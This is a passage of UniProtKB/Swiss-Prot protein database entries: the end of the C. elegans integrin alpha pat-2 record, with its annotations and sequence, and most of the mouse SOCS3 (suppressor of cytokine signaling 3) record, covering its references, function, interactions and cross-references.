RL Nature 368:32-38(1994).
RN [2]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA].
RC STRAIN=Bristol N2;
RX PubMed=9851916; DOI=10.1126/science.282.5396.2012;
RG The C. elegans sequencing consortium;
RT "Genome sequence of the nematode C. elegans: a platform for
RT investigating biology.";
RL Science 282:2012-2018(1998).
RN [3]
RP FUNCTION, DISRUPTION PHENOTYPE, AND MUTAGENESIS OF GLY-441.
RX PubMed=8106547; DOI=10.1083/jcb.124.4.475;
RA Williams B.D., Waterston R.H.;
RT "Genes critical for muscle development and function in Caenorhabditis
RT elegans identified through lethal mutations.";
RL J. Cell Biol. 124:475-490(1994).
RN [4]
RP FUNCTION, AND DISRUPTION PHENOTYPE.
RX PubMed=12915588; DOI=10.1242/jcs.00705;
RA Cram E.J., Clark S.G., Schwarzbauer J.E.;
RT "Talin loss-of-function uncovers roles in cell contractility and
RT migration in C. elegans.";
RL J. Cell Sci. 116:3871-3878(2003).
RN [5]
RP GLYCOSYLATION [LARGE SCALE ANALYSIS] AT ASN-108; ASN-228; ASN-290;
RP ASN-608 AND ASN-819, AND IDENTIFICATION BY MASS SPECTROMETRY.
RX PubMed=15888633; DOI=10.1093/glycob/cwi075;
RA Fan X., She Y.-M., Bagshaw R.D., Callahan J.W., Schachter H.,
RA Mahuran D.J.;
RT "Identification of the hydrophobic glycoproteins of Caenorhabditis
RT elegans.";
RL Glycobiology 15:952-964(2005).
RN [6]
RP FUNCTION, AND DISRUPTION PHENOTYPE.
RX PubMed=16495308; DOI=10.1242/dev.02300;
RA Dixon S.J., Alexander M., Fernandes R., Ricker N., Roy P.J.;
RT "FGF negatively regulates muscle membrane extension in Caenorhabditis
RT elegans.";
RL Development 133:1263-1275(2006).
RN [7]
RP FUNCTION, TISSUE SPECIFICITY, DEVELOPMENTAL STAGE, AND DISRUPTION
RP PHENOTYPE.
RX PubMed=17606640; DOI=10.1101/gad.1534807;
RA Meighan C.M., Schwarzbauer J.E.;
RT "Control of C. elegans hermaphrodite gonad size and shape by vab-
RT 3/Pax6-mediated regulation of integrin receptors.";
RL Genes Dev. 21:1615-1620(2007).
RN [8]
RP GLYCOSYLATION [LARGE SCALE ANALYSIS] AT ASN-108; ASN-228; ASN-608;
RP ASN-679 AND ASN-819, AND IDENTIFICATION BY MASS SPECTROMETRY.
RC STRAIN=Bristol N2;
RX PubMed=17761667; DOI=10.1074/mcp.M600392-MCP200;
RA Kaji H., Kamiie J., Kawakami H., Kido K., Yamauchi Y., Shinkawa T.,
RA Taoka M., Takahashi N., Isobe T.;
RT "Proteomics reveals N-linked glycoprotein diversity in Caenorhabditis
RT elegans and suggests an atypical translocation mechanism for integral
RT membrane proteins.";
RL Mol. Cell. Proteomics 6:2100-2109(2007).
CC -!- FUNCTION: Required for muscle development probably through the
CC regulation of the actin-myosin cytoskeleton (PubMed:8106547,
CC PubMed:12915588). During the formation of neuromuscular junctions
CC at the larval stage, negatively regulates membrane protrusion from
CC body wall muscles, probably through lamins such as epi-1, lam-2
CC and unc-52 (PubMed:16495308). Required for distal tip cell
CC migration and dorsal pathfinding (PubMed:17606640). Required for
CC egg-laying (PubMed:12915588). May play a role in cell motility and
CC cell-cell interactions (By similarity).
CC {ECO:0000250|UniProtKB:P53708, ECO:0000269|PubMed:12915588,
CC ECO:0000269|PubMed:16495308, ECO:0000269|PubMed:17606640,
CC ECO:0000269|PubMed:8106547}.
CC -!- SUBUNIT: Heterodimer of an alpha and a beta subunit. Alpha pat-2
CC associates with beta pat-3.
CC -!- SUBCELLULAR LOCATION: Membrane {ECO:0000250}; Single-pass type I
CC membrane protein {ECO:0000250}.
CC -!- TISSUE SPECIFICITY: Expressed in body-wall muscle cells, distal
CC tip cells, and vulval tissue. {ECO:0000269|PubMed:17606640}.
CC -!- DEVELOPMENTAL STAGE: Up-regulated during L3 developmental stage in
CC distal tip cells. {ECO:0000269|PubMed:17606640}.
CC -!- DISRUPTION PHENOTYPE: Severe paralysis at the 1-fold stage of
CC embryonic development followed by an arrest in elongation at 2-
CC fold stage (PubMed:8106547). Loss of myosin and actin organization
CC in embryonic body wall muscles and loss of muscle cell
CC polarization (PubMed:8106547). RNAi-mediated knockdown in post-
CC hatching animals causes paralysis associated with severe
CC disorganization of body wall muscle actin filaments and defects in
CC egg-laying associated with embryonic hatching within the mother
CC (the bag of worms phenotype) (PubMed:12915588). Few surviving
CC adults, are uncoordinated with abnormal body size and shape and
CC have defects in distal tip cells (DTC) migration resulting in
CC abnormal gonad formation (PubMed:17606640). RNAi-mediated
CC knockdown in L4 larval stage, causes ectopic membrane extensions
CC from body wall muscles (PubMed:16495308).
CC {ECO:0000269|PubMed:12915588, ECO:0000269|PubMed:16495308,
CC ECO:0000269|PubMed:17606640, ECO:0000269|PubMed:8106547}.
CC -!- SIMILARITY: Belongs to the integrin alpha chain family.
CC {ECO:0000305}.
CC -!- SIMILARITY: Contains 7 FG-GAP repeats. {ECO:0000255|PROSITE-
CC ProRule:PRU00803}.
CC -----------------------------------------------------------------------
CC Copyrighted by the UniProt Consortium, see http://www.uniprot.org/terms
CC Distributed under the Creative Commons Attribution-NoDerivs License
CC -----------------------------------------------------------------------
DR EMBL; FO081385; CCD71234.1; -; Genomic_DNA.
DR PIR; S44824; S44824.
DR RefSeq; NP_498948.1; NM_066547.3.
DR UniGene; Cel.10427; -.
DR ProteinModelPortal; P34446; -.
DR SMR; P34446; 26-900.
DR BioGrid; 41442; 2.
DR STRING; 6239.F54F2.1; -.
DR EPD; P34446; -.
DR PaxDb; P34446; -.
DR PRIDE; P34446; -.
DR EnsemblMetazoa; F54F2.1; F54F2.1; WBGene00003929.
DR GeneID; 176240; -.
DR KEGG; cel:CELE_F54F2.1; -.
DR UCSC; F54F2.1; c. elegans.
DR CTD; 176240; -.
DR WormBase; F54F2.1; CE00194; WBGene00003929; pat-2.
DR eggNOG; KOG3637; Eukaryota.
DR eggNOG; ENOG410XPVZ; LUCA.
DR GeneTree; ENSGT00760000118782; -.
DR HOGENOM; HOG000115457; -.
DR InParanoid; P34446; -.
DR OMA; MCIPDLK; -.
DR OrthoDB; EOG091G02JI; -.
DR PhylomeDB; P34446; -.
DR Reactome; R-CEL-114608; Platelet degranulation.
DR Reactome; R-CEL-1236973; Cross-presentation of particulate exogenous antigens (phagosomes).
DR Reactome; R-CEL-1566977; Fibronectin matrix formation.
DR Reactome; R-CEL-202733; Cell surface interactions at the vascular wall.
DR Reactome; R-CEL-216083; Integrin cell surface interactions.
DR Reactome; R-CEL-3000170; Syndecan interactions.
DR Reactome; R-CEL-354192; Integrin alphaIIb beta3 signaling.
DR Reactome; R-CEL-354194; GRB2:SOS provides linkage to MAPK signaling for Integrins.
DR Reactome; R-CEL-372708; p130Cas linkage to MAPK signaling for integrins.
DR Reactome; R-CEL-445144; Signal transduction by L1.
DR SignaLink; P34446; -.
DR PRO; PR:P34446; -.
DR Proteomes; UP000001940; Chromosome III.
DR Bgee; WBGene00003929; -.
DR GO; GO:0009986; C:cell surface; IDA:WormBase.
DR GO; GO:0008305; C:integrin complex; ISS:WormBase.
DR GO; GO:0031430; C:M band; IDA:WormBase.
DR GO; GO:0055120; C:striated muscle dense body; IDA:WormBase.
DR GO; GO:0004888; F:transmembrane signaling receptor activity; IDA:WormBase.
DR GO; GO:0007155; P:cell adhesion; IEA:UniProtKB-KW.
DR GO; GO:0007229; P:integrin-mediated signaling pathway; IEA:UniProtKB-KW.
DR GO; GO:1901076; P:positive regulation of engulfment of apoptotic cell; IMP:WormBase.
DR GO; GO:0040017; P:positive regulation of locomotion; IMP:WormBase.
DR InterPro; IPR013517; FG-GAP.
DR InterPro; IPR013519; Int_alpha_beta-p.
DR InterPro; IPR000413; Integrin_alpha.
DR InterPro; IPR013649; Integrin_alpha-2.
DR InterPro; IPR018184; Integrin_alpha_C_CS.
DR InterPro; IPR032695; Integrin_dom.
DR Pfam; PF01839; FG-GAP; 1.
DR Pfam; PF00357; Integrin_alpha; 1.
DR Pfam; PF08441; Integrin_alpha2; 1.
DR PRINTS; PR01185; INTEGRINA.
DR SMART; SM00191; Int_alpha; 5.
DR SUPFAM; SSF69179; SSF69179; 4.
DR PROSITE; PS51470; FG_GAP; 7.
DR PROSITE; PS00242; INTEGRIN_ALPHA; 1.
PE 1: Evidence at protein level;
KW Cell adhesion; Complete proteome; Glycoprotein; Integrin; Membrane;
KW Receptor; Reference proteome; Repeat; Signal; Transmembrane;
KW Transmembrane helix.
FT SIGNAL 1 25 {ECO:0000255}.
FT CHAIN 26 1226 Integrin alpha pat-2.
FT /FTId=PRO_0000016332.
FT TOPO_DOM 26 1154 Extracellular. {ECO:0000255}.
FT TRANSMEM 1155 1177 Helical. {ECO:0000255}.
FT TOPO_DOM 1178 1226 Cytoplasmic. {ECO:0000255}.
FT REPEAT 27 94 FG-GAP 1. {ECO:0000255|PROSITE-
FT ProRule:PRU00803}.
FT REPEAT 108 171 FG-GAP 2. {ECO:0000255|PROSITE-
FT ProRule:PRU00803}.
FT REPEAT 178 233 FG-GAP 3. {ECO:0000255|PROSITE-
FT ProRule:PRU00803}.
FT REPEAT 234 290 FG-GAP 4. {ECO:0000255|PROSITE-
FT ProRule:PRU00803}.
FT REPEAT 291 345 FG-GAP 5. {ECO:0000255|PROSITE-
FT ProRule:PRU00803}.
FT REPEAT 362 421 FG-GAP 6. {ECO:0000255|PROSITE-
FT ProRule:PRU00803}.
FT REPEAT 425 488 FG-GAP 7. {ECO:0000255|PROSITE-
FT ProRule:PRU00803}.
FT MOTIF 620 622 Cell attachment site. {ECO:0000255}.
FT CARBOHYD 108 108 N-linked (GlcNAc...).
FT {ECO:0000269|PubMed:15888633,
FT ECO:0000269|PubMed:17761667}.
FT CARBOHYD 228 228 N-linked (GlcNAc...).
FT {ECO:0000269|PubMed:15888633,
FT ECO:0000269|PubMed:17761667}.
FT CARBOHYD 290 290 N-linked (GlcNAc...).
FT {ECO:0000269|PubMed:15888633}.
FT CARBOHYD 608 608 N-linked (GlcNAc...).
FT {ECO:0000269|PubMed:15888633,
FT ECO:0000269|PubMed:17761667}.
FT CARBOHYD 679 679 N-linked (GlcNAc...).
FT {ECO:0000269|PubMed:17761667}.
FT CARBOHYD 775 775 N-linked (GlcNAc...). {ECO:0000255}.
FT CARBOHYD 819 819 N-linked (GlcNAc...).
FT {ECO:0000269|PubMed:15888633,
FT ECO:0000269|PubMed:17761667}.
FT MUTAGEN 441 441 G->D: In st567; severe paralysis at
FT embryonic 1-fold stage followed by an
FT arrest in elongation at 2-fold stage.
FT Loss of myosin and actin organization in
FT embryonic muscles.
FT {ECO:0000269|PubMed:8106547}.
SQ SEQUENCE 1226 AA; 135940 MW; B9169AD75B88901D CRC64;
MREGSFPRRI GLLLGLLGLL AGVATFNIDT KNVVVHHMAG NYFGYSLDFY HEQKGMPVLV
VGAPEAESNN PNLAGIRRPG AVYACSVNRA TCREVHVDKM KGNLKKLNGS HLVPIEEKSH
QFFGATVRSN DKHDKIVVCA PKYTYFYSKF EVIEPVGTCF YAENGFDNAE EFSSCKQEPA
RHGRHRLGYG QCGFSAAVPG KKNQNRVFIG APGVWYWQGA MFSQNIKNQT DRPNTEYGSK
EYDHDMMGYS TATGDFDGDG IDDIVAGVPR GNDLHGKLVL YTSKLKMMIN LTDEVSTQHG
QYCGGSVAVA DVNKDGRDDI IMGCPFYTDY GSVKDAKTQE RKPQYDVGKV IVMLQTAPGV
FGKQIAVVGD DQWGRFGHAV AAAGDLNLDG YNDVIVGAPY AGKNKQGAVY VIHGSKDGVR
ELPTQKIEGA NIGHGNIKSF GFSLTGNEDV DGNGMPDIAV GAWKSGNAAV LLTKPVVTVT
GQTEPESALI SVEDKNCDVD GKLGKQACKH INTCFKYEGK GDTPNDLEFD LRFNLDDHSP
EPRAYFLQKD VKSDRSIKVA QGSKTRDHPS SIEQRVRLEK GRQKCFRHRF FASSTMKDKL
SPIHWSVNYT YVESKTGKLR GDKLEPAIDT TVPLSFQNKI NIANNCGKDD LCVPDLKVTA
VADREKFLLG TQDNTMLINV TVQNGGEDSY ETKLYFDVPQ GFEYGGIESV GGDGSKSAPA
CSPTSDEPDS DGKWTFACDL GNPLPANKVV SSVVRVTASS DKPPLAPISI NAHVNSSNDE
EAHTVADNKV TFTIPVDFKN QLSLNGRSNP EQVDFSMTNK TRVDAFDDNE IGPVVSHLYQ
ISNRGPSEVD SATLDIFWPS FSTEGGHLLY IITEPVVNPP NKGRCRVKQL QNVNPLNLRI
TNEHVPTEPP VAKTPNEYSR EEDDESYEDE TTTQSQSTRH QSTQHQTHHQ SGPVHVYEKD
EEKIRQNTGN WQYVEDKKKK GDYEYIPDDQ EYDGDDFEEE DDEDFDRAGS KRVKRNPTPK
KKKKGGEHRG EPRSDKARFS DLREAVKLSK EAGGVVDYKG PLSRASVDCN SLRCTHIECD
IYDLKEDEFV LVEIFSRLYT NTLVDEKNPG GDISSLALAR VTSTKYNLPH KPTLITAVST
NMNAIASEEG RDLPWWLYLL AILIGLAILI LLILLLWRCG FFKRNRPPTE HAELRADRQP
NAQYADSQSR YTSQDQYNQG RHGQML
//
ID SOCS3_MOUSE Reviewed; 225 AA.
AC O35718; P97803; Q3U7X5;
DT 16-APR-2002, integrated into UniProtKB/Swiss-Prot.
DT 01-JAN-1998, sequence version 1.
DT 07-SEP-2016, entry version 152.
DE RecName: Full=Suppressor of cytokine signaling 3;
DE Short=SOCS-3;
DE AltName: Full=Cytokine-inducible SH2 protein 3;
DE Short=CIS-3;
DE AltName: Full=Protein EF-10;
GN Name=Socs3; Synonyms=Cis3, Cish3;
OS Mus musculus (Mouse).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Euarchontoglires; Glires; Rodentia; Sciurognathi;
OC Muroidea; Muridae; Murinae; Mus; Mus.
OX NCBI_TaxID=10090;
RN [1]
RP NUCLEOTIDE SEQUENCE [MRNA].
RC TISSUE=Lung, and Thymus;
RX PubMed=9202125; DOI=10.1038/43206;
RA Starr R., Willson T.A., Viney E.M., Murray L.J.L., Rayner J.R.,
RA Jenkins B.J., Gonda T.J., Alexander W.S., Metcalf D., Nicola N.A.,
RA Hilton D.J.;
RT "A family of cytokine-inducible inhibitors of signaling.";
RL Nature 387:917-921(1997).
RN [2]
RP NUCLEOTIDE SEQUENCE [GENOMIC DNA].
RA Le Provost F., Henninghausen L.;
RT "Murine SOCS3 gene structure.";
RL Submitted (OCT-2000) to the EMBL/GenBank/DDBJ databases.
RN [3]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE MRNA].
RC STRAIN=C57BL/6J, and NOD; TISSUE=Bone marrow, Cerebellum, and Spleen;
RX PubMed=16141072; DOI=10.1126/science.1112014;
RA Carninci P., Kasukawa T., Katayama S., Gough J., Frith M.C., Maeda N.,
RA Oyama R., Ravasi T., Lenhard B., Wells C., Kodzius R., Shimokawa K.,
RA Bajic V.B., Brenner S.E., Batalov S., Forrest A.R., Zavolan M.,
RA Davis M.J., Wilming L.G., Aidinis V., Allen J.E.,
RA Ambesi-Impiombato A., Apweiler R., Aturaliya R.N., Bailey T.L.,
RA Bansal M., Baxter L., Beisel K.W., Bersano T., Bono H., Chalk A.M.,
RA Chiu K.P., Choudhary V., Christoffels A., Clutterbuck D.R.,
RA Crowe M.L., Dalla E., Dalrymple B.P., de Bono B., Della Gatta G.,
RA di Bernardo D., Down T., Engstrom P., Fagiolini M., Faulkner G.,
RA Fletcher C.F., Fukushima T., Furuno M., Futaki S., Gariboldi M.,
RA Georgii-Hemming P., Gingeras T.R., Gojobori T., Green R.E.,
RA Gustincich S., Harbers M., Hayashi Y., Hensch T.K., Hirokawa N.,
RA Hill D., Huminiecki L., Iacono M., Ikeo K., Iwama A., Ishikawa T.,
RA Jakt M., Kanapin A., Katoh M., Kawasawa Y., Kelso J., Kitamura H.,
RA Kitano H., Kollias G., Krishnan S.P., Kruger A., Kummerfeld S.K.,
RA Kurochkin I.V., Lareau L.F., Lazarevic D., Lipovich L., Liu J.,
RA Liuni S., McWilliam S., Madan Babu M., Madera M., Marchionni L.,
RA Matsuda H., Matsuzawa S., Miki H., Mignone F., Miyake S., Morris K.,
RA Mottagui-Tabar S., Mulder N., Nakano N., Nakauchi H., Ng P.,
RA Nilsson R., Nishiguchi S., Nishikawa S., Nori F., Ohara O.,
RA Okazaki Y., Orlando V., Pang K.C., Pavan W.J., Pavesi G., Pesole G.,
RA Petrovsky N., Piazza S., Reed J., Reid J.F., Ring B.Z., Ringwald M.,
RA Rost B., Ruan Y., Salzberg S.L., Sandelin A., Schneider C.,
RA Schoenbach C., Sekiguchi K., Semple C.A., Seno S., Sessa L., Sheng Y.,
RA Shibata Y., Shimada H., Shimada K., Silva D., Sinclair B.,
RA Sperling S., Stupka E., Sugiura K., Sultana R., Takenaka Y., Taki K.,
RA Tammoja K., Tan S.L., Tang S., Taylor M.S., Tegner J., Teichmann S.A.,
RA Ueda H.R., van Nimwegen E., Verardo R., Wei C.L., Yagi K.,
RA Yamanishi H., Zabarovsky E., Zhu S., Zimmer A., Hide W., Bult C.,
RA Grimmond S.M., Teasdale R.D., Liu E.T., Brusic V., Quackenbush J.,
RA Wahlestedt C., Mattick J.S., Hume D.A., Kai C., Sasaki D., Tomaru Y.,
RA Fukuda S., Kanamori-Katayama M., Suzuki M., Aoki J., Arakawa T.,
RA Iida J., Imamura K., Itoh M., Kato T., Kawaji H., Kawagashira N.,
RA Kawashima T., Kojima M., Kondo S., Konno H., Nakano K., Ninomiya N.,
RA Nishio T., Okada M., Plessy C., Shibata K., Shiraki T., Suzuki S.,
RA Tagami M., Waki K., Watahiki A., Okamura-Oho Y., Suzuki H., Kawai J.,
RA Hayashizaki Y.;
RT "The transcriptional landscape of the mammalian genome.";
RL Science 309:1559-1563(2005).
RN [4]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE MRNA].
RC STRAIN=C57BL/6J; TISSUE=Brain;
RX PubMed=15489334; DOI=10.1101/gr.2596504;
RG The MGC Project Team;
RT "The status, quality, and expansion of the NIH full-length cDNA
RT project: the Mammalian Gene Collection (MGC).";
RL Genome Res. 14:2121-2127(2004).
RN [5]
RP NUCLEOTIDE SEQUENCE [GENOMIC DNA] OF 1-30.
RC STRAIN=ICR X Swiss Webster;
RX PubMed=10359822; DOI=10.1073/pnas.96.12.6964;
RA Auernhammer C.J., Bousquet C., Melmed S.;
RT "Autoregulation of pituitary corticotroph SOCS-3 expression:
RT characterization of the murine SOCS-3 promoter.";
RL Proc. Natl. Acad. Sci. U.S.A. 96:6964-6969(1999).
RN [6]
RP NUCLEOTIDE SEQUENCE [MRNA] OF 221-225.
RC STRAIN=BALB/cJ;
RX PubMed=9032278;
RA Fu X., Kamps M.P.;
RT "E2a-Pbx1 induces aberrant expression of tissue-specific and
RT developmentally regulated genes when expressed in NIH 3T3
RT fibroblasts.";
RL Mol. Cell. Biol. 17:1503-1512(1997).
RN [7]
RP FUNCTION IN LIF AND IL6 SIGNALING.
RX PubMed=9889194; DOI=10.1093/emboj/18.2.375;
RA Nicholson S.E., Willson T.A., Farley A., Starr R., Zhang J.-G.,
RA Baca M., Alexander W.S., Metcalf D., Hilton D.J., Nicola N.A.;
RT "Mutational analyses of the SOCS proteins suggest a dual domain
RT requirement but distinct mechanisms for inhibition of LIF and IL-6
RT signal transduction.";
RL EMBO J. 18:375-385(1999).
RN [8]
RP FUNCTION IN INHIBITION OF INSR KINASE ACTIVITY, AND INTERACTION WITH
RP INSR.
RX PubMed=10821852; DOI=10.1074/jbc.275.21.15985;
RA Emanuelli B., Peraldi P., Filloux C., Sawka-Verhelle D., Hilton D.,
RA Van Obberghen E.;
RT "SOCS-3 is an insulin-induced negative regulator of insulin
RT signaling.";
RL J. Biol. Chem. 275:15985-15991(2000).
RN [9]
RP INTERACTION WITH EPOR AND JAK2, AND MUTAGENESIS OF LEU-22; PHE-25;
RP GLY-45 AND ARG-71.
RX PubMed=10882725; DOI=10.1074/jbc.M003456200;
RA Sasaki A., Yasukawa H., Shouda T., Kitamura T., Dikic I.,
RA Yoshimura A.;
RT "CIS3/SOCS-3 suppresses erythropoietin (EPO) signaling by binding the
RT EPO receptor and JAK2.";
RL J. Biol. Chem. 275:29338-29347(2000).
RN [10]
RP TISSUE SPECIFICITY.
RX PubMed=12242343; DOI=10.1073/pnas.202477099;
RA Seki Y., Hayashi K., Matsumoto A., Seki N., Tsukada J., Ransom J.,
RA Naka T., Kishimoto T., Yoshimura A., Kubo M.;
RT "Expression of the suppressor of cytokine signaling-5 (SOCS5)
RT negatively regulates IL-4-dependent STAT6 activation and Th2
RT differentiation.";
RL Proc. Natl. Acad. Sci. U.S.A. 99:13003-13008(2002).
RN [11]
RP FUNCTION IN ERYTHROPOIESIS.
RX PubMed=10490101; DOI=10.1016/S0092-8674(00)80049-5;
RA Marine J.-C., McKay C., Wang D., Topham D.J., Parganas E.,
RA Nakajima H., Pendeville H., Yasukawa H., Sasaki A., Yoshimura A.,
RA Ihle J.N.;
RT "SOCS3 is essential in the regulation of fetal liver erythropoiesis.";
RL Cell 98:617-627(1999).
RN [12]
RP ROLE IN IL-6 SIGNALING.
RX PubMed=12754505; DOI=10.1038/ni931;
RA Croker B.A., Krebs D.L., Zhang J.-G., Wormald S., Willson T.A.,
RA Stanley E.G., Robb L., Greenhalgh C.J., Foerster I., Clausen B.E.,
RA Nicola N.A., Metcalf D., Hilton D.J., Roberts A.W., Alexander W.S.;
RT "SOCS3 negatively regulates IL-6 signaling in vivo.";
RL Nat. Immunol. 4:540-545(2003).
RN [13]
RP ROLE IN ALLERGIC RESPONSE, AND INDUCTION BY IL-4.
RX PubMed=12847520; DOI=10.1038/nm896;
RA Seki Y., Inoue H., Nagata N., Hayashi K., Fukuyama S., Matsumoto K.,
RA Komine O., Hamano S., Himeno K., Inagaki-Ohara K., Cacalano N.,
RA O'Garra A., Oshida T., Saito H., Johnston J.A., Yoshimura A., Kubo M.;
RT "SOCS-3 regulates onset and maintenance of T(H)2-mediated allergic
RT responses.";
RL Nat. Med. 9:1047-1054(2003).
RN [14]
RP INTERACTION WITH BCL10.
RX PubMed=15213237; DOI=10.1074/jbc.M400241200;
RA Liu Y., Dong W., Chen L., Xiang R., Xiao H., De G., Wang Z., Qi Y.;
RT "BCL10 mediates lipopolysaccharide/toll-like receptor-4 signaling
RT through interaction with Pellino2.";
RL J. Biol. Chem. 279:37436-37444(2004).
RN [15]
RP INTERACTION WITH NOD2.
RX PubMed=23019338; DOI=10.1074/jbc.M112.410027;
RA Lee K.H., Biswas A., Liu Y.J., Kobayashi K.S.;
RT "Proteasomal degradation of Nod2 protein mediates tolerance to
RT bacterial cell wall components.";
RL J. Biol. Chem. 287:39800-39811(2012).
RN [16]
RP STRUCTURE BY NMR OF 22-185.
RX PubMed=16630890; DOI=10.1016/j.molcel.2006.03.024;
RA Babon J.J., McManus E.J., Yao S., DeSouza D.P., Mielke L.A.,
RA Sprigg N.S., Willson T.A., Hilton D.J., Nicola N.A., Baca M.,
RA Nicholson S.E., Norton R.S.;
RT "The structure of SOCS3 reveals the basis of the extended SH2 domain
RT function and identifies an unstructured insertion that regulates
RT stability.";
RL Mol. Cell 22:205-216(2006).
RN [17]
RP X-RAY CRYSTALLOGRAPHY (2.0 ANGSTROMS) OF 15-185 IN COMPLEX WITH
RP PHOSPHORYLATED IL6ST.
RX PubMed=16905102; DOI=10.1016/j.str.2006.06.011;
RA Bergamin E., Wu J., Hubbard S.R.;
RT "Structural basis for phosphotyrosine recognition by suppressor of
RT cytokine signaling-3.";
RL Structure 14:1285-1292(2006).
CC -!- FUNCTION: SOCS family proteins form part of a classical negative
CC feedback system that regulates cytokine signal transduction. SOCS3
CC is involved in negative regulation of cytokines that signal
CC through the JAK/STAT pathway. Inhibits cytokine signal
CC transduction by binding to tyrosine kinase receptors including
CC gp130, LIF, erythropoietin, insulin, IL12, GCSF and leptin
CC receptors. Binding to JAK2 inhibits its kinase activity.
CC Suppresses fetal liver erythropoiesis. Regulates onset and
CC maintenance of allergic responses mediated by T-helper type 2
CC cells. Regulates IL-6 signaling in vivo. Probable substrate-
CC recognition component of a SCF-like ECS (Elongin BC-CUL2/5-SOCS-
CC box protein) E3 ubiquitin-protein ligase complex which mediates
CC the ubiquitination and subsequent proteasomal degradation of
CC target proteins (By similarity). Seems to recognize IL6ST.
CC {ECO:0000250, ECO:0000269|PubMed:10490101,
CC ECO:0000269|PubMed:10821852, ECO:0000269|PubMed:12754505,
CC ECO:0000269|PubMed:12847520, ECO:0000269|PubMed:9889194}.
CC -!- PATHWAY: Protein modification; protein ubiquitination.
CC -!- SUBUNIT: Interacts with multiple activated proteins of the
CC tyrosine kinase signaling pathway including IGF1 receptor, insulin
CC receptor and JAK2. Binding to JAK2 is mediated through the KIR and
CC SH2 domains to a phosphorylated tyrosine residue within the JAK2
CC JH1 domain (By similarity). Binds specific activated tyrosine
CC residues of the leptin, EPO, IL12, GSCF and gp130 receptors
CC (PubMed:10882725). Interaction with CSNK1E stabilizes SOCS3
CC protein (By similarity). Component of the probable ECS(SOCS3) E3
CC ubiquitin-protein ligase complex which contains CUL5, RNF7/RBX2,
CC elongin BC complex and SOCS3 (By similarity). Interacts with CUL5,
CC RNF7, TCEB1 and TCEB2 (By similarity). Interacts with FGFR3 (By
CC similarity). Interacts with INSR (PubMed:10821852). Interacts with
CC BCL10; this interaction may interfere with BCL10-binding with
CC PELI2 (PubMed:15213237). Interacts with NOD2 (via CARD domain);
CC the interaction promotes NOD2 degradation (PubMed:23019338).
CC {ECO:0000250|UniProtKB:O14543, ECO:0000269|PubMed:10821852,
CC ECO:0000269|PubMed:10882725, ECO:0000269|PubMed:15213237,
CC ECO:0000269|PubMed:16905102, ECO:0000269|PubMed:23019338}.
CC -!- INTERACTION:
CC Q00560:Il6st; NbExp=3; IntAct=EBI-2659360, EBI-3862992;
CC -!- TISSUE SPECIFICITY: Low expression in lung, spleen and thymus.
CC Expressed in Th2 but not TH1 cells. {ECO:0000269|PubMed:12242343}.
CC -!- DEVELOPMENTAL STAGE: In the developing brain, expressed at low
CC levels from E10 stages to young adulthood (P25) with peak levels
CC from E14 to P8. In the cortex, first expressed uniformly in all
CC cells at E14. Not expressed in the retina. Highly expressed in
CC fetal liver progenitors at E12.5.
CC -!- INDUCTION: By a subset of cytokines including EPO, leptin, LIF,
CC IL-2, IL-3, IL-4, IGF1, growth hormone and prolactin.
CC {ECO:0000269|PubMed:12847520}.
CC -!- DOMAIN: The ESS and SH2 domains are required for JAK
CC phosphotyrosine binding. Further interaction with the KIR domain
CC is necessary for signal and kinase inhibition.
CC -!- DOMAIN: The SOCS box domain mediates the interaction with the
CC Elongin BC complex, an adapter module in different E3 ubiquitin
CC ligase complexes. {ECO:0000250}.
CC -!- PTM: Phosphorylated on tyrosine residues after stimulation by the
CC cytokines, IL-2, EPO or IGF1. {ECO:0000250}.
CC -!- SIMILARITY: Contains 1 SH2 domain. {ECO:0000255|PROSITE-
CC ProRule:PRU00191}.
CC -!- SIMILARITY: Contains 1 SOCS box domain. {ECO:0000255|PROSITE-
CC ProRule:PRU00194}.
CC -----------------------------------------------------------------------
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DR EMBL; U88328; AAB62403.1; -; mRNA.
DR EMBL; AF314501; AAK60601.1; -; Genomic_DNA.
DR EMBL; AK047165; BAC32977.1; -; mRNA.
DR EMBL; AK139241; BAE23929.1; -; mRNA.
DR EMBL; AK152468; BAE31244.1; -; mRNA.
DR EMBL; AK152514; BAE31277.1; -; mRNA.
DR EMBL; AK157708; BAE34161.1; -; mRNA.
DR EMBL; AK159395; BAE35049.1; -; mRNA.
DR EMBL; AK170406; BAE41773.1; -; mRNA.
DR EMBL; AK172399; BAE42985.1; -; mRNA.
DR EMBL; BC052031; AAH52031.1; -; mRNA.
DR EMBL; AF117732; AAD18024.1; -; Genomic_DNA.
DR EMBL; U72673; AAB51035.1; ALT_SEQ; mRNA.
DR CCDS; CCDS25697.1; -.
DR RefSeq; NP_031733.1; NM_007707.3.
DR RefSeq; XP_011247009.1; XM_011248707.1.
DR UniGene; Mm.3468; -.
DR PDB; 2BBU; NMR; -; A=22-185.
DR PDB; 2HMH; X-ray; 2.00 A; A=15-185.
DR PDB; 2JZ3; NMR; -; A=186-225.
DR PDB; 4GL9; X-ray; 3.90 A; E/F/G/H=22-128, E/F/G/H=179-185.
DR PDBsum; 2BBU; -.
DR PDBsum; 2HMH; -.
DR PDBsum; 2JZ3; -.
DR PDBsum; 4GL9; -.
DR DisProt; DP00446; -.
DR ProteinModelPortal; O35718; -.
DR SMR; O35718; 30-185.
DR BioGrid; 198718; 13.
DR DIP; DIP-29137N; -.
DR IntAct; O35718; 9.
DR MINT; MINT-2569503; -.
DR STRING; 10090.ENSMUSP00000059129; -.
DR iPTMnet; O35718; -.
DR PhosphoSite; O35718; -.
DR PaxDb; O35718; -.
DR PRIDE; O35718; -.
DR DNASU; 12702; -.
DR Ensembl; ENSMUST00000054002; ENSMUSP00000059129; ENSMUSG00000053113.
DR GeneID; 12702; -.
DR KEGG; mmu:12702; -.
DR UCSC; uc007moi.2; mouse.
DR CTD; 9021; -.
DR MGI; MGI:1201791; Socs3.
DR eggNOG; KOG4566; Eukaryota.
DR eggNOG; ENOG4111V4J; LUCA.
DR GeneTree; ENSGT00760000119136; -.
DR HOGENOM; HOG000236320; -.
DR HOVERGEN; HBG105645; -.
DR InParanoid; O35718; -.
DR KO; K04696; -.
DR OMA; KRTYYIY; -.
DR OrthoDB; EOG091G0NEU; -.
DR PhylomeDB; O35718; -.
DR TreeFam; TF321368; -.
DR Reactome; R-MMU-1059683; Interleukin-6 signaling.
DR Reactome; R-MMU-2586551; Signaling by Leptin.
